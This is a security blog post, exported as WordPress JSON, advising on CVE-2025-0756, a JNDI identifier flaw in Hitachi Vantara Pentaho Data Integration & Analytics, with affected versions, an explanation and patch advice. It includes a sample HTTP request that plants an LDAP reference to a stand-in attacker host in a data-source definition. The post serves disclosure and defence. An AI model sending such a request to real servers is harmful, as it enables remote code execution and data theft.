{"id":31196,"date":"2025-04-25T13:19:10","date_gmt":"2025-04-25T13:19:10","guid":{"rendered":""},"modified":"2025-09-10T23:20:03","modified_gmt":"2025-09-11T05:20:03","slug":"cve-2025-0756-unrestricted-jndi-identifier-vulnerability-in-hitachi-vantara-pentaho-data-integration-analytics","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-0756-unrestricted-jndi-identifier-vulnerability-in-hitachi-vantara-pentaho-data-integration-analytics\/","title":{"rendered":"<strong>CVE-2025-0756: Unrestricted JNDI Identifier Vulnerability in Hitachi Vantara Pentaho Data Integration &#038; Analytics<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-0756 is a significant cybersecurity vulnerability that affects Hitachi Vantara Pentaho Data Integration &#038; Analytics versions prior to 10.2.0.2. This vulnerability arises from the product&#8217;s improper handling of Java Naming and Directory Interface (JNDI) identifiers, which can be exploited by attackers to gain unauthorized access to sensitive system resources or data. Given the prevalence of Pentaho&#8217;s data integration and analytics solutions across industries, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28197-ssrf-vulnerability-in-crawl4ai-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"37988\">vulnerability has the potential<\/a> to impact a wide range of organizations, emphasizing the critical need for prompt and effective mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-0756<br \/>\nSeverity: Critical (9.1 CVSS v3 Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential <a href=\"https:\/\/www.ameeba.com\/blog\/yale-new-haven-health-system-data-breach-a-comprehensive-analysis-of-a-cybersecurity-breach-impacting-5-5-million-patients\/\"  data-wpil-monitor-id=\"38585\">system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-916989259\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Hitachi Vantara Pentaho <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-51055-insecure-data-storage-vulnerability-in-vedo-suite-version-2024-17\/\"  data-wpil-monitor-id=\"81570\">Data Integration | versions<\/a> before 10.2.0.2, including 9.3.x and 8.3.x<br \/>\nHitachi Vantara Pentaho Analytics | versions before 10.2.0.2, including 9.3.x and 8.3.x<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26683-improper-authorization-vulnerability-in-azure-playwright\/\"  data-wpil-monitor-id=\"35684\">vulnerability lies in the improper<\/a> restriction of JNDI identifiers during the creation of platform data sources. An attacker can exploit this by sending a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24189-memory-corruption-vulnerability-due-to-maliciously-crafted-web-content-in-various-operating-systems\/\"  data-wpil-monitor-id=\"81572\">crafted request that includes a malicious<\/a> JNDI reference. The target system, failing to appropriately restrict or validate the JNDI identifiers, treats it as a legitimate reference, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26927-epc-ai-hub-unrestricted-file-upload-vulnerability-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"36098\">leading to access to protected files<\/a> or directories, including configuration files and files containing sensitive information.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-266870199\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here\u2019s a conceptual example of a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/\"  data-wpil-monitor-id=\"36039\">request exploiting the vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/platform\/datasource HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/xml\n&lt;data-source&gt;\n&lt;name&gt;test&lt;\/name&gt;\n&lt;type&gt;JNDI&lt;\/type&gt;\n&lt;connection&gt;ldap:\/\/malicious.example.com\/Exploit&lt;\/connection&gt;\n&lt;\/data-source&gt;<\/code><\/pre>\n<p>In this example, the `connection` element contains a malicious LDAP reference that could lead to unauthorized resource access or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30967-critical-csrf-vulnerability-in-wpjobboard-plugin-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"36076\">remote code<\/a> execution.<\/p>\n<p><strong>Mitigation &#038; Patch Information<\/strong><\/p>\n<p>Organizations running vulnerable versions of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30727-unpatched-vulnerability-in-oracle-scripting-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"35769\">Hitachi Vantara Pentaho Data Integration<\/a> &#038; Analytics are advised to immediately apply the vendor-provided patch to upgrade their systems to version 10.2.0.2 or later. Alternatively, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. However, these are only stop-gap <a href=\"https:\/\/www.ameeba.com\/blog\/hungarian-government-s-cybersecurity-measures-unpacking-the-implications-and-potential-solutions\/\"  data-wpil-monitor-id=\"81571\">measures and may not provide complete protection against potential<\/a> exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-0756 is a significant cybersecurity vulnerability that affects Hitachi Vantara Pentaho Data Integration &#038; Analytics versions prior to 10.2.0.2. This vulnerability arises from the product&#8217;s improper handling of Java Naming and Directory Interface (JNDI) identifiers, which can be exploited by attackers to gain unauthorized access to sensitive system resources or data. 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